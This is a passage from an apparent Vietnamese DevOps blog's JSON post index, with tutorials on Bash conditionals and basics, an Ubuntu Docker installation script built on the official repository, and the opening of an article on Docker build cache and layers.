\u0026#34;Docker đã được cài\u0026#34; command -v docker \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 || echo \u0026#34;Docker chưa được cài\u0026#34; Trong script automation, cách 1 dễ đọc hơn khi điều kiện liên quan chặt với nhau. Cách 2 phù hợp khi bạn muốn \u0026ldquo;nếu lệnh này thành công thì làm tiếp\u0026rdquo;, ví dụ:\n1 mkdir -p /backup/db \u0026amp;\u0026amp; tar -czf /backup/db/dump.tar.gz /var/lib/db Nếu mkdir thất bại, lệnh tar sẽ không chạy.\ncase…esac — khi if/elif quá dài Khi cần so khớp biến với nhiều giá trị khác nhau, case thường gọn và dễ đọc hơn chuỗi if/elif.\nCú pháp:\n1 2 3 4 5 6 7 8 9 10 11 case \u0026lt;biến\u0026gt; in \u0026lt;pattern1\u0026gt;) \u0026lt;lệnh\u0026gt; ;; \u0026lt;pattern2\u0026gt;|\u0026lt;pattern3\u0026gt;) \u0026lt;lệnh\u0026gt; ;; *) \u0026lt;lệnh mặc định\u0026gt; ;; esac Ví dụ — script điều phối thao tác cho một service:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 #!/usr/bin/env bash set -euo pipefail ACTION=\u0026#34;${1:-}\u0026#34; SERVICE_NAME=\u0026#34;nginx\u0026#34; case \u0026#34;${ACTION}\u0026#34; in start) echo \u0026#34;Khởi động ${SERVICE_NAME}...\u0026#34; sudo systemctl start \u0026#34;${SERVICE_NAME}\u0026#34; ;; stop) echo \u0026#34;Dừng ${SERVICE_NAME}...\u0026#34; sudo systemctl stop \u0026#34;${SERVICE_NAME}\u0026#34; ;; restart|reload) echo \u0026#34;Khởi động lại ${SERVICE_NAME}...\u0026#34; sudo systemctl restart \u0026#34;${SERVICE_NAME}\u0026#34; ;; status) sudo systemctl status \u0026#34;${SERVICE_NAME}\u0026#34; --no-pager ;; *) echo \u0026#34;Usage: $0 {start|stop|restart|reload|status}\u0026#34; exit 1 ;; esac case hỗ trợ pattern theo kiểu glob, nên bạn có thể viết dev*), *.log), [0-9]*) … rất tiện cho việc phân nhánh theo môi trường hoặc loại file.\nThực hành DevOps: check_service.sh Ghép các kiến thức ở trên thành một script kiểm tra service và disk thực tế.\nTạo file check_service.sh:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 #!/usr/bin/env bash set -euo pipefail SERVICE_NAME=\u0026#34;${1:-nginx}\u0026#34; DISK_THRESHOLD=\u0026#34;${2:-80}\u0026#34; echo \u0026#34;========================================\u0026#34; echo \u0026#34; Service \u0026amp; Disk Check\u0026#34; echo \u0026#34; Service : ${SERVICE_NAME}\u0026#34; echo \u0026#34; Threshold : ${DISK_THRESHOLD}%\u0026#34; echo \u0026#34;========================================\u0026#34; # 1) Kiểm tra systemctl có sẵn không if ! command -v systemctl \u0026gt;/dev/null 2\u0026gt;\u0026amp;1; then echo \u0026#34;ERROR: Hệ thống không có systemctl, script dừng.\u0026#34; exit 1 fi # 2) Kiểm tra service đang chạy hay không if systemctl is-active --quiet \u0026#34;${SERVICE_NAME}\u0026#34;; then echo \u0026#34;OK: Service ${SERVICE_NAME} đang chạy.\u0026#34; else echo \u0026#34;WARN: Service ${SERVICE_NAME} không chạy. Đang thử restart...\u0026#34; if sudo systemctl restart \u0026#34;${SERVICE_NAME}\u0026#34;; then echo \u0026#34;OK: Đã restart ${SERVICE_NAME}.\u0026#34; else echo \u0026#34;ERROR: Restart ${SERVICE_NAME} thất bại.\u0026#34; exit 2 fi fi # 3) Kiểm tra dung lượng disk theo ngưỡng truyền vào DISK_USAGE_PERCENT=\u0026#34;$(df -P / | awk \u0026#39;NR==2 {gsub(\u0026#34;%\u0026#34;, \u0026#34;\u0026#34;, $5); print $5}\u0026#39;)\u0026#34; case 1 in $(( DISK_USAGE_PERCENT \u0026gt;= 90 )) ) echo \u0026#34;CRITICAL: Disk / đã dùng ${DISK_USAGE_PERCENT}%.\u0026#34; exit 2 ;; $(( DISK_USAGE_PERCENT \u0026gt;= DISK_THRESHOLD )) ) echo \u0026#34;WARNING: Disk / đã dùng ${DISK_USAGE_PERCENT}% (ngưỡng ${DISK_THRESHOLD}%).\u0026#34; exit 1 ;; *) echo \u0026#34;OK: Disk / ở mức ${DISK_USAGE_PERCENT}%.\u0026#34; ;; esac Chạy thử:\n1 2 chmod +x check_service.sh ./check_service.sh nginx 80 Điểm đáng chú ý:\nDùng systemctl is-active --quiet để kiểm tra trạng thái — đây là cách \u0026ldquo;đúng chuẩn\u0026rdquo; thay vì parse output bằng grep. Trả exit code có ý nghĩa (0/1/2) để cron, alertmanager hoặc pipeline CI/CD nhận biết mức độ. Pattern case 1 in $(( ... )) ) là một kỹ thuật nhỏ: biểu thức số học trả về 1 khi điều kiện đúng, 0 khi sai — vì vậy nhánh nào \u0026ldquo;khớp\u0026rdquo; số 1 sẽ chạy. Nếu thấy khó đọc, bạn hoàn toàn có thể quay về if/elif/else cho rõ ràng. Sai sót thường gặp Quên dấu cách trong [[ ]]: Bash yêu cầu khoảng trắng quanh dấu [[, ]] và quanh toán tử. [[$A == \u0026quot;x\u0026quot;]] sẽ lỗi cú pháp. Dùng = cho số nguyên: [[ \u0026quot;${COUNT}\u0026quot; = 1 ]] so sánh dạng chuỗi. Khi cần so sánh số, dùng -eq hoặc đưa vào (( )). Không quote biến: Nếu biến rỗng, biểu thức có thể bị Bash phân tích sai trong [ ] (POSIX). [[ ]] an toàn hơn, nhưng vẫn nên giữ thói quen \u0026quot;${VAR}\u0026quot;. Quên ;; trong case: Mỗi nhánh case phải kết thúc bằng ;;. Quên là Bash sẽ tiếp tục chạy sang nhánh sau khi nhánh đó match. Lẫn lộn \u0026amp;\u0026amp;/|| với pipeline: cmd1 \u0026amp;\u0026amp; cmd2 chỉ chạy cmd2 khi cmd1 thành công (exit 0). Đừng nhầm với pipe | dùng để chuyển stdout. Ghi chú triển khai Khi áp dụng vào dự án của bạn, hãy nghĩ về exit code trước khi viết logic: script này khi nào trả 0, khi nào trả khác 0? Điều này ảnh hưởng trực tiếp tới cron và pipeline. Best practices: Ưu tiên [[ ]] thay cho [ ] trong script Bash thuần. Luôn có nhánh *) mặc định trong case để bắt giá trị không hợp lệ và in usage. Khi điều kiện vượt quá 4–5 nhánh if/elif, cân nhắc chuyển sang case hoặc tách thành function. Đặt biến ngưỡng (threshold) lên đầu file hoặc nhận từ tham số CLI — không hardcode rải rác trong code. Troubleshooting: Script không vào đúng nhánh? → Chạy với bash -x script.sh để xem giá trị biến sau khi expand. Báo lỗi unary operator expected? → Thường do biến rỗng trong [ -f $FILE ]. Đổi sang [[ -f \u0026quot;${FILE}\u0026quot; ]]. case không match? → Kiểm tra pattern có cần quote không. Trong case, phía bên phải in là pattern (glob), không phải chuỗi đơn thuần. Lời kết Điều kiện là bước đầu tiên giúp script Bash của bạn \u0026ldquo;có não\u0026rdquo; — biết phản ứng theo trạng thái thay vì chạy mù. Với if/elif/else, case…esac, các toán tử so sánh số, chuỗi và kiểm tra file, bạn đã đủ công cụ để viết những script vận hành thực tế như healthcheck, gate deploy, hay điều phối service.\nỞ bài tiếp theo, chúng ta sẽ đi vào vòng lặp trong Bash với for, while, until, kèm các ví dụ tự động hoá lặp qua danh sách server và đọc file log theo dòng.\nTài liệu tham khảo GNU Bash Manual — Conditional Constructs — Tài liệu chính thức về if, case, select. GNU Bash Manual — Bash Conditional Expressions — Đầy đủ các toán tử file, chuỗi, số dùng trong [[ ]] và test. GNU Bash Manual — Shell Arithmetic — Cú pháp (( ... )) cho biểu thức số học. ShellCheck — Công cụ lint giúp phát hiện các lỗi quote, so sánh sai kiểu trước khi đưa script vào production. ","date":"24/05/2026","image":"https://tech.nguuyen.io.vn/images/bash/bash-step-two.webp","permalink":"/vi/posts/bash/bash-step-two/","summary":"Hướng dẫn dùng if/elif/else, case…esac, toán tử so sánh số, chuỗi và kiểm tra file trong Bash. Kèm ví dụ DevOps thực tế: kiểm tra service, ngưỡng disk và quyết định deploy.","tags":["bash","shell-script","devops","automation","linux"],"title":"Điều kiện trong Bash: if, case và xử lý logic cho DevOps"},{"categories":["DevOps","Bash"],"content":"Cơ bản Bash Script trong DevOps Trong công việc DevOps, có rất nhiều tác vụ lặp lại hằng ngày: kiểm tra dung lượng ổ đĩa, xem service còn chạy không, backup file cấu hình, gom log, hoặc chạy một chuỗi lệnh deploy đơn giản. Nếu làm thủ công từng bước, bạn rất dễ quên lệnh, gõ sai tham số hoặc mất thời gian khi phải thao tác trên nhiều server.\nBash Script giúp đóng gói các lệnh đó thành một file có thể chạy lại nhiều lần. Đây là kỹ năng nền tảng trước khi bạn đi sâu vào CI/CD, Docker, Kubernetes, Cloud CLI hay automation phức tạp hơn.\nBash là gì? Bash là viết tắt của Bourne Again SHell — một chương trình shell phổ biến trên Linux và macOS. Shell nhận lệnh từ người dùng, diễn giải lệnh đó, rồi yêu cầu hệ điều hành thực thi.\nKhi bạn gõ lệnh trong terminal như:\n1 2 3 ls -lah df -h cat /etc/os-release bạn đang tương tác với shell. Khi gom nhiều lệnh vào một file text, file đó trở thành shell script. Theo tài liệu chính thức của GNU Bash, một shell script là file văn bản chứa các lệnh shell; khi được Bash chạy, Bash đọc và thực thi các lệnh trong file đó rồi thoát.\nVì sao DevOps cần biết Bash? Bash không thay thế các công cụ như Ansible, Terraform hay Jenkins, nhưng nó là lớp keo rất hữu ích để nối các công cụ lại với nhau.\nTình huống DevOps Bash giúp gì? Kiểm tra server nhanh Gom hostname, df, free, uptime vào một script Deploy ứng dụng nhỏ Chạy pull code, build, restart service theo đúng thứ tự Dọn log hoặc file tạm Tự động tìm và xoá file cũ theo lịch CI/CD pipeline Viết step build/test/deploy có exit code rõ ràng Tích hợp tool Gọi docker, kubectl, aws, curl, jq từ một script Điểm mạnh của Bash là có sẵn trên hầu hết server Linux, không cần cài runtime phức tạp. Với những tác vụ nhỏ, một script 20–50 dòng thường đủ nhanh, dễ đọc và dễ đưa vào pipeline.\nScript đầu tiên với hello.sh Tạo file hello.sh:\n1 vi hello.sh Thêm nội dung sau:\n1 2 3 4 #!/usr/bin/env bash echo \u0026#34;Hello DevOps!\u0026#34; echo \u0026#34;Script đang chạy trên máy: $(hostname)\u0026#34; Chạy script bằng Bash:\n1 bash hello.sh Hoặc cấp quyền thực thi rồi chạy trực tiếp:\n1 2 chmod +x hello.sh ./hello.sh Shebang dùng để làm gì? Dòng đầu tiên:\n1 #!/usr/bin/env bash được gọi là shebang. Nó cho hệ điều hành biết nên dùng chương trình nào để chạy file này. Cách viết #!/usr/bin/env bash thường linh hoạt hơn #!/bin/bash vì Bash có thể nằm ở vị trí khác nhau tuỳ hệ thống.\nLàm việc với biến Biến giúp script lưu giá trị để tái sử dụng. Cú pháp gán biến trong Bash không có khoảng trắng quanh dấu =:\n1 2 3 4 5 APP_NAME=\u0026#34;manager-blog\u0026#34; ENVIRONMENT=\u0026#34;staging\u0026#34; echo \u0026#34;Ứng dụng: $APP_NAME\u0026#34; echo \u0026#34;Môi trường: ${ENVIRONMENT}\u0026#34; Nên dùng ${VAR} khi ghép biến với chuỗi để tránh Bash hiểu nhầm tên biến:\n1 2 3 4 BACKUP_DIR=\u0026#34;/backup\u0026#34; APP_NAME=\u0026#34;manager-blog\u0026#34; echo \u0026#34;File backup: ${BACKUP_DIR}/${APP_NAME}.tar.gz\u0026#34; Một số biến đặc biệt hay gặp Biến Ý nghĩa $0 Tên script đang chạy $1 Tham số đầu tiên truyền vào script $# Tổng số tham số $? Exit code của lệnh vừa chạy $$ Process ID của shell hiện tại Ví dụ script nhận tên môi trường:\n1 2 3 4 5 #!/usr/bin/env bash ENVIRONMENT=\u0026#34;${1:-dev}\u0026#34; echo \u0026#34;Deploy tới môi trường: ${ENVIRONMENT}\u0026#34; Chạy thử:\n1 bash deploy-message.sh staging Nếu không truyền tham số, ${1:-dev} sẽ dùng giá trị mặc định là dev.\nMột số lệnh cơ bản thường dùng echo echo in nội dung ra màn hình, rất hữu ích để hiển thị trạng thái trong script:\n1 2 echo \u0026#34;Bắt đầu kiểm tra hệ thống...\u0026#34; echo \u0026#34;Hoàn tất.\u0026#34; read read đọc input từ người dùng:\n1 2 3 4 #!/usr/bin/env bash read -r -p \u0026#34;Nhập tên service cần kiểm tra: \u0026#34; SERVICE_NAME echo \u0026#34;Bạn muốn kiểm tra service: ${SERVICE_NAME}\u0026#34; Trong script, nên dùng read -r để tránh việc dấu backslash bị diễn giải ngoài ý muốn.\ncat cat thường dùng để xem nhanh nội dung file hoặc tạo file mẫu:\n1 cat /etc/os-release Tạo file cấu hình bằng here-document:\n1 2 3 4 cat \u0026gt; app.env \u0026lt;\u0026lt;\u0026#39;EOF\u0026#39; APP_ENV=staging APP_PORT=8080 EOF ls ls liệt kê file/thư mục:\n1 ls -lah /var/log Trong script production, nếu cần xử lý danh sách file phức tạp, bạn nên cẩn thận với tên file có khoảng trắng. Các bài sau về xử lý file sẽ đi sâu hơn vào chủ đề này.\nThực hành DevOps: check_system.sh Ví dụ dưới đây tạo một script kiểm tra nhanh thông tin hệ thống: hostname, hệ điều hành, uptime, CPU load, RAM và dung lượng ổ đĩa root.\nTạo file:\n1 vi check_system.sh Nội dung script:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 #!/usr/bin/env bash set -euo pipefail echo \u0026#34;========================================\u0026#34; echo \u0026#34; System quick check\u0026#34; echo \u0026#34;========================================\u0026#34; HOSTNAME_VALUE=\u0026#34;$(hostname)\u0026#34; KERNEL_VALUE=\u0026#34;$(uname -sr)\u0026#34; UPTIME_VALUE=\u0026#34;$(uptime -p 2\u0026gt;/dev/null || uptime)\u0026#34; DISK_USAGE_PERCENT=\u0026#34;$(df -P / | awk \u0026#39;NR==2 {gsub(\u0026#34;%\u0026#34;, \u0026#34;\u0026#34;, $5); print $5}\u0026#39;)\u0026#34; if [[ -r /proc/loadavg ]]; then LOAD_1M=\u0026#34;$(awk \u0026#39;{print $1}\u0026#39; /proc/loadavg)\u0026#34; else LOAD_1M=\u0026#34;$(uptime | awk -F\u0026#39;load average: \u0026#39; \u0026#39;{print $2}\u0026#39; | awk -F\u0026#39;,\u0026#39; \u0026#39;{print $1}\u0026#39;)\u0026#34; fi echo \u0026#34;Hostname : ${HOSTNAME_VALUE}\u0026#34; echo \u0026#34;Kernel : ${KERNEL_VALUE}\u0026#34; echo \u0026#34;Uptime : ${UPTIME_VALUE}\u0026#34; echo \u0026#34;Load 1m : ${LOAD_1M}\u0026#34; echo \u0026#34;Disk / : ${DISK_USAGE_PERCENT}%\u0026#34; if command -v free \u0026gt;/dev/null 2\u0026gt;\u0026amp;1; then echo echo \u0026#34;Memory:\u0026#34; free -h else echo echo \u0026#34;Memory: command \u0026#39;free\u0026#39; không có trên hệ thống này.\u0026#34; fi echo if (( DISK_USAGE_PERCENT \u0026gt;= 80 )); then echo \u0026#34;WARNING: Dung lượng ổ đĩa / đã vượt ngưỡng 80%.\u0026#34; exit 1 else echo \u0026#34;OK: Dung lượng ổ đĩa / vẫn trong ngưỡng an toàn.\u0026#34; fi Cấp quyền và chạy:\n1 2 chmod +x check_system.sh ./check_system.sh Output có thể tương tự:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ======================================== System quick check ======================================== Hostname : webserver-01 Kernel : Linux 6.8.0-31-generic Uptime : up 3 days, 4 hours, 12 minutes Load 1m : 0.21 Disk / : 42% Memory: total used free shared buff/cache available Mem: 3.8Gi 1.1Gi 720Mi 32Mi 2.0Gi 2.4Gi Swap: 2.0Gi 0B 2.0Gi OK: Dung lượng ổ đĩa / vẫn trong ngưỡng an toàn. Điểm đáng chú ý trong script:\nset -euo pipefail giúp script dừng khi gặp lỗi, khi dùng biến chưa khai báo, hoặc khi một lệnh trong pipeline bị lỗi. df -P / dùng định dạng POSIX để output ổn định hơn khi parse bằng awk. command -v free kiểm tra lệnh free có tồn tại trước khi gọi. exit 1 khi disk vượt ngưỡng giúp CI/CD hoặc cron job nhận biết script đang báo lỗi. Debug script với bash -n và bash -x Khi script dài hơn, bạn cần kiểm tra lỗi cú pháp và xem Bash thực thi từng lệnh như thế nào.\nKiểm tra cú pháp với bash -n 1 bash -n check_system.sh Tuỳ chọn -n yêu cầu Bash đọc lệnh nhưng không thực thi. Nó hữu ích để phát hiện lỗi như thiếu fi, thiếu dấu nháy, hoặc sai cú pháp vòng lặp.\nTrace từng lệnh với bash -x 1 bash -x check_system.sh Tuỳ chọn -x in ra từng lệnh sau khi Bash đã expand biến và trước khi thực thi. Đây là cách rất nhanh để biết script đang nhận giá trị nào.\nBạn cũng có thể bật/tắt trace trong một đoạn cụ thể:\n1 2 3 set -x DISK_USAGE_PERCENT=\u0026#34;$(df -P / | awk \u0026#39;NR==2 {gsub(\u0026#34;%\u0026#34;, \u0026#34;\u0026#34;, $5); print $5}\u0026#39;)\u0026#34; set +x Lưu ý bảo mật: Không bật set -x quanh đoạn xử lý secret/token vì giá trị nhạy cảm có thể bị in ra log.\nBest practice khi mới viết Bash Một vài thói quen nhỏ sẽ giúp script dễ đọc và ít lỗi hơn:\nLuôn quote biến: dùng \u0026quot;${VAR}\u0026quot; thay vì $VAR, đặc biệt khi giá trị có khoảng trắng. Đặt tên biến rõ nghĩa: DISK_USAGE_PERCENT dễ hiểu hơn D hoặc VALUE. Dùng set -euo pipefail có chủ đích: tốt cho nhiều script automation, nhưng cần hiểu luồng lỗi trước khi dùng trong script phức tạp. Kiểm tra command trước khi dùng: command -v docker, command -v jq, command -v kubectl. Không hardcode thông tin nhạy cảm: token, password, private key nên lấy từ environment variable hoặc secret manager. Trả exit code rõ ràng: exit 0 cho thành công, khác 0 cho lỗi để cron/CI/CD nhận biết. Chạy bash -n trước khi deploy: đây là bước kiểm tra nhanh nhưng rất hữu ích. Ghi chú triển khai Khi áp dụng vào dự án của bạn, hãy bắt đầu bằng các script nhỏ, rõ mục tiêu: check_system.sh, backup_config.sh, restart_service.sh. Đừng cố viết một script quá lớn ngay từ đầu. Best practices: Đặt script trong thư mục riêng như scripts/ hoặc ops/. Thêm README ngắn mô tả cách chạy, tham số đầu vào và ví dụ output. Với script chạy trong CI/CD, luôn kiểm tra exit code và log đủ thông tin để debug. Troubleshooting: Lỗi Permission denied? → Chạy chmod +x script.sh hoặc dùng bash script.sh. Lỗi command not found? → Kiểm tra command đã cài chưa và biến PATH có đúng không. Script chạy khác giữa local và server? → Kiểm tra phiên bản Bash bằng bash --version và hệ điều hành bằng cat /etc/os-release. Lời kết Bash Script là kỹ năng nền tảng nhưng rất thực dụng trong DevOps. Chỉ với vài lệnh cơ bản như echo, read, cat, ls, kết hợp biến và kiểm tra exit code, bạn đã có thể tự động hóa nhiều tác vụ vận hành hằng ngày.\nỞ bài tiếp theo, chúng ta sẽ đi vào điều kiện trong Bash với if/elif/else, toán tử so sánh, kiểm tra file và case...esac — những thành phần giúp script bắt đầu có logic xử lý linh hoạt hơn.\nTài liệu tham khảo GNU Bash Manual — Tài liệu chính thức về Bash, shell scripts, biến, builtins và các tuỳ chọn như -n, -x. GNU Bash Reference Manual - Shell Scripts — Mô tả cách Bash đọc và thực thi shell script. GNU Bash Reference Manual - The Set Builtin — Tham khảo các tuỳ chọn set, bao gồm -u, -x, -n. ","date":"23/05/2026","image":"https://tech.nguuyen.io.vn/images/bash/bash-step-one.webp","permalink":"/vi/posts/bash/bash-step-one/","summary":"Làm quen với Bash Script từ nền tảng: Bash là gì, cách viết script đầu tiên, sử dụng biến, lệnh cơ bản, debug và thực hành kiểm tra thông tin hệ thống cho DevOps.","tags":["bash","shell-script","devops","automation","linux"],"title":"Cơ bản Bash Script trong DevOps"},{"categories":["Docker","Installation Guides"],"content":"Tự động hóa cài đặt Docker bằng Bash Script Khi làm việc với nhiều server, việc cài đặt Docker thủ công từng bước trên mỗi máy là tốn thời gian và dễ sai sót. Giải pháp đơn giản nhất là viết một Bash Script tự động hóa toàn bộ quá trình — từ cài đặt dependencies, thêm Docker repository, đến cài đặt Docker Engine và Docker Compose.\nTrong bài viết này, tôi sẽ hướng dẫn bạn viết script cài đặt Docker theo đúng tài liệu chính thức của Docker, đảm bảo luôn lấy phiên bản mới nhất từ repository chính thức.\nYêu cầu hệ thống Trước khi bắt đầu, hãy đảm bảo server của bạn đáp ứng các điều kiện sau:\nYêu cầu Chi tiết Hệ điều hành Ubuntu 22.04 (Jammy), 24.04 (Noble), 25.10 (Questing), 26.04 (Resolute) Kiến trúc x86_64 (amd64), arm64, armhf, s390x, ppc64le Quyền Tài khoản có quyền sudo Kết nối mạng Có kết nối Internet để tải packages Gỡ cài đặt phiên bản Docker cũ (nếu có) Theo tài liệu chính thức của Docker, trước khi cài đặt Docker Engine, bạn cần gỡ bỏ các package xung đột có thể đã được cài sẵn bởi hệ điều hành:\n1 sudo apt remove docker.io docker-compose docker-compose-v2 docker-doc podman-docker containerd runc Lưu ý: Lệnh trên có thể báo rằng không có package nào được cài — điều này hoàn toàn bình thường trên server mới.\nViết Bash Script cài đặt Docker Tạo file script 1 vi install-docker.sh Nội dung script 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 #!/bin/bash set -e echo \u0026#34;==========================================\u0026#34; echo \u0026#34; Cài đặt Docker Engine \u0026amp; Docker Compose \u0026#34; echo \u0026#34;==========================================\u0026#34; # Bước 1: Cài đặt các packages cần thiết echo \u0026#34;[1/5] Cài đặt dependencies...\u0026#34; sudo apt update -y sudo apt install -y ca-certificates curl gnupg # Bước 2: Thêm Docker GPG key echo \u0026#34;[2/5] Thêm Docker GPG key...\u0026#34; sudo install -m 0755 -d /etc/apt/keyrings curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg sudo chmod a+r /etc/apt/keyrings/docker.gpg # Bước 3: Thêm Docker repository vào apt sources echo \u0026#34;[3/5] Thêm Docker repository...\u0026#34; echo \\ \u0026#34;deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \\ $(. /etc/os-release \u0026amp;\u0026amp; echo \u0026#34;$VERSION_CODENAME\u0026#34;) stable\u0026#34; | \\ sudo tee /etc/apt/sources.list.d/docker.list \u0026gt; /dev/null # Bước 4: Cài đặt Docker Engine và Docker Compose plugin echo \u0026#34;[4/5] Cài đặt Docker Engine...\u0026#34; sudo apt update -y sudo apt install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin # Bước 5: Khởi động và enable Docker service echo \u0026#34;[5/5] Khởi động Docker service...\u0026#34; sudo systemctl start docker sudo systemctl enable docker echo \u0026#34;==========================================\u0026#34; echo \u0026#34; Cài đặt hoàn tất!\u0026#34; echo \u0026#34;==========================================\u0026#34; docker --version docker compose version Giải thích từng bước trong script:\nBước Lệnh Mục đích 1 apt install ca-certificates curl gnupg Cài các package cần thiết để xác thực GPG key và tải file qua HTTPS 2 curl ... | gpg --dearmor Tải và chuyển đổi GPG key của Docker sang định dạng binary để apt xác thực package 3 tee /etc/apt/sources.list.d/docker.list Thêm Docker repository vào danh sách sources của apt, tự động detect kiến trúc và codename 4 apt install docker-ce ... Cài đặt Docker Engine, CLI, containerd, Buildx plugin và Compose plugin 5 systemctl start/enable docker Khởi động Docker daemon và cấu hình tự khởi động cùng hệ thống Lưu ý quan trọng: Script sử dụng docker-compose-plugin (Compose V2) thay vì docker-compose standalone (V1). Compose V2 được tích hợp trực tiếp vào Docker CLI với lệnh docker compose (không có dấu gạch ngang). Docker đã ngừng hỗ trợ Compose V1 từ tháng 7/2023.\nCấp quyền và chạy script 1 2 3 4 5 # Cấp quyền thực thi chmod +x install-docker.sh # Chạy script sudo bash install-docker.sh Xác nhận kết quả cài đặt Sau khi script chạy xong, bạn sẽ thấy output tương tự:\n1 2 3 4 5 $ docker --version Docker version 28.1.1, build 4eba377 $ docker compose version Docker Compose version v2.35.1 Để kiểm tra Docker hoạt động chính xác, chạy container thử nghiệm:\n1 sudo docker run hello-world Nếu thấy thông báo Hello from Docker!, quá trình cài đặt đã thành công.\nCấu hình sau cài đặt (Post-installation) Cho phép user thường chạy Docker (không cần sudo) Theo mặc định, lệnh docker yêu cầu quyền root. Để user thường có thể sử dụng Docker:\n1 2 3 4 5 6 7 8 # Thêm user hiện tại vào group docker sudo usermod -aG docker $USER # Áp dụng thay đổi group (cần logout/login lại hoặc chạy lệnh sau) newgrp docker # Xác nhận — không cần sudo nữa docker run hello-world Cấu hình Docker khởi động cùng hệ thống Script đã thực hiện bước này với systemctl enable docker. Để xác nhận:\n1 2 sudo systemctl is-enabled docker # Output: enabled Ghi chú triển khai Khi áp dụng vào dự án của bạn, hãy lưu ý: Script chỉ hỗ trợ Ubuntu. Với Debian, CentOS, hoặc Fedora, cần thay đổi URL repository và lệnh package manager tương ứng Luôn kiểm tra tài liệu chính thức để đảm bảo các bước cài đặt chưa thay đổi set -e ở đầu script đảm bảo script dừng ngay khi có lệnh bị lỗi, tránh cài đặt không đầy đủ Best practices: Sử dụng docker compose (V2) thay vì docker-compose (V1) — V1 đã ngừng hỗ trợ Không chạy container bằng user root trong production — cấu hình user thường với group docker Sau khi cài đặt, cấu hình Docker daemon phù hợp với môi trường (log driver, storage driver, v.v.) Troubleshooting: Lỗi Permission denied khi chạy docker? → Đảm bảo user đã được thêm vào group docker và đã logout/login lại Lỗi Cannot connect to the Docker daemon? → Kiểm tra Docker service: sudo systemctl status docker GPG key bị lỗi khi apt update? → Xóa key cũ và chạy lại bước thêm GPG key: sudo rm /etc/apt/keyrings/docker.gpg Lời kết Với Bash Script trên, bạn có thể cài đặt Docker Engine và Docker Compose trên bất kỳ server Ubuntu nào chỉ với một lệnh duy nhất. Script sử dụng phương pháp cài đặt chính thức từ Docker repository, đảm bảo:\nLuôn lấy phiên bản mới nhất từ repository chính thức Cài đặt đầy đủ: Docker Engine, CLI, containerd, Buildx, và Compose V2 Tự động khởi động và enable Docker service Bạn có thể lưu script này vào hệ thống quản lý cấu hình (Ansible, Terraform) hoặc đơn giản clone từ repository để sử dụng trên nhiều server.\nTài liệu tham khảo Docker Official - Install Docker Engine on Ubuntu — Hướng dẫn chính thức cài đặt Docker trên Ubuntu Docker Official - Post-installation steps for Linux — Cấu hình sau cài đặt Docker Compose - Migrate to Compose V2 — Hướng dẫn chuyển từ Compose V1 sang V2 ","date":"11/04/2026","image":"https://tech.nguuyen.io.vn/images/docker/install-docker-bash-script.webp","permalink":"/vi/posts/docker/install-docker-bash-script/","summary":"Hướng dẫn viết Bash Script tự động cài đặt Docker Engine và Docker Compose phiên bản mới nhất trên Ubuntu — tiết kiệm thời gian khi triển khai trên nhiều server.","tags":["docker","docker-compose","bash","automation","install","linux","ubuntu"],"title":"Cài đặt Docker và Docker Compose tự động bằng Bash Script"},{"categories":["Docker"],"content":"Docker Build Cache \u0026amp; Layering Bạn đã bao giờ tự hỏi tại sao lần build đầu tiên mất 5-10 phút, nhưng lần build thứ hai chỉ mất vài giây? Đó là nhờ Build Cache. Nhưng đôi khi, chỉ thay đổi 1 dòng code mà Docker lại rebuild toàn bộ — đó là vì bạn chưa hiểu cách Layering hoạt động.\nTrong bài viết này, tôi sẽ giải thích chi tiết cơ chế Layer và Build Cache, cách Docker quyết định khi nào dùng cache và khi nào rebuild, cùng các kỹ thuật tối ưu để build nhanh hơn.\nLayer trong Docker là gì? Mỗi lệnh trong Dockerfile tạo ra một layer (lớp) trong image. Bạn có thể hình dung image như một chồng các lớp xếp chồng lên nhau, mỗi lớp thêm nội dung mới lên trên lớp trước đó.\nCách Layer được tạo ra 1 2 3 4 5 6 FROM node:18-alpine # Layer 1: Base image WORKDIR /app # Layer 2: Tạo thư mục làm việc COPY package.json ./ # Layer 3: Copy file package.json RUN npm install # Layer 4: Cài dependencies COPY . . # Layer 5: Copy source code RUN npm run build # Layer 6: Build ứng dụng Layer Lệnh Dockerfile Nội dung Layer 1 FROM node:18-alpine Base OS + Node.js runtime Layer 2 WORKDIR /app Tạo và chuyển vào thư mục /app Layer 3 COPY package.json ./ Thêm file package.json Layer 4 RUN npm install Cài đặt node_modules Layer 5 COPY . . Thêm toàn bộ source code Layer 6 RUN npm run build Tạo file build (dist/) Đặc điểm quan trọng của Layer Read-only: Mỗi layer sau khi tạo xong là chỉ đọc, không thể thay đổi Chia sẻ được: Nhiều image có thể dùng chung các layer giống nhau (ví dụ: cùng base image node:18-alpine) Có thứ tự: Layer sau được xếp chồng lên layer trước, tạo thành file system hoàn chỉnh Có kích thước: Mỗi layer có dung lượng riêng, tổng tất cả layer = kích thước image Build Cache hoạt động như thế nào? Build Cache là cơ chế giúp Docker bỏ qua các bước không cần thiết khi rebuild image. Nếu một layer không thay đổi so với lần build trước, Docker sẽ dùng lại kết quả cũ thay vì chạy lại.\nQuy tắc cache của Docker Docker kiểm tra cache theo thứ tự từng lệnh trong Dockerfile:\n1 2 3 4 5 Lệnh 1 → Có cache? Dùng lại → Tiếp tục Lệnh 2 → Có cache? Dùng lại → Tiếp tục Lệnh 3 → Có cache? Cache miss → Rebuild từ đây trở đi Lệnh 4 → Bắt buộc rebuild (vì lệnh 3 đã thay đổi) Lệnh 5 → Bắt buộc rebuild Quy tắc quan trọng nhất: Khi một layer bị invalidate (mất cache), tất cả các layer phía sau đều phải rebuild — kể cả khi chúng không thay đổi gì.\nKhi nào cache bị invalidate? Trường hợp Cache bị mất? Giải thích Thay đổi lệnh trong 